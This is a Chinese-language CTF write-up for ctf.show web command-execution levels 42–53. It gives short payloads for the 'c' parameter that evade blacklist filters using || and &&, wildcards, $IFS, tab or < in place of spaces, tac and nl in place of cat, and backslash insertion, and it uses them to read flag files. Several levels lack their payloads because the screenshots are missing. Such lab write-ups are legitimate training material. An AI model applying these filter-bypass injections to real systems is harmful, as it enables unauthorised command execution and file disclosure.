阅读 68

ctf_show-web入门-命令执行(42-53)

WEB42

 

 

 >是写入

而1和2意思百度一下:

 

 

 那么就是不管标准输出还是错误输出都输入到null里销毁

构造两个语句即可绕过

c=cat flag.php;ls

 

 

 

 

 

 

 

 

 

WEB43

 

 

 过滤了;和cat 其他同上一题

过滤分号用&&或||代替 注意url别直接输入&要转码

cat能代替的一大堆

c=more flag.php||ls

 

 

 

 

 

WEB44

 

 

 

同上 继续过滤了flag

可以用通配符代替

c=more f*||ls

 

 

 

WEB45

 

 

 

同上 继续过滤了空格

可以用$IFS代替

c=tac$IFS*||ls

 

 

 

 

WEB46

 

 

 

过滤了数字 $ 和 *

可以用%09(tab)代替空格

*用 ???????代替

c=tac%09????????||

 

 

 

WEB47

 

 

继续过滤一些输出 tac没过滤 

同上web46

c=tac%09????????||

 

 

 

 

WEB48

 

 

 

继续过滤一些输出 tac没过滤 

同上web46

c=tac%09????????||

 

 

 

 

 

WEB49

 

 

 

同上web46

c=tac%09????????||

 

 

 

 

WEB50

 

 

 过滤了%09,空格可以用<代替

不知道为啥这里?没用,可以在flag之间加’ ‘ 绕过

c=tac

 

 

 

 

 

 

 

WEB51

 

 

 这里tac也过滤了,可以用nl

c=nl

 

 

 

 

 

WEB52

 

 

 继续过来了 <>

但是$过滤,用${IFS}

貌似单用$IFS后面要加\  

另外\ 单写可以随便插入指令中绕过一些检查

 

 

 

 

 发现这里没flag

猜测在根目录

 

 果然

c=nl${IFS}/fla\g||

 

 

 

 

 

WEB52

 

 

 这里执行方式变了,先是system执行c

在输出结果到前端代码

先ls

 

 

c=nl${IFS}fla\g?php

 

原文:https://www.cnblogs.com/aninock/p/15130230.html

文章分类
代码人生
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐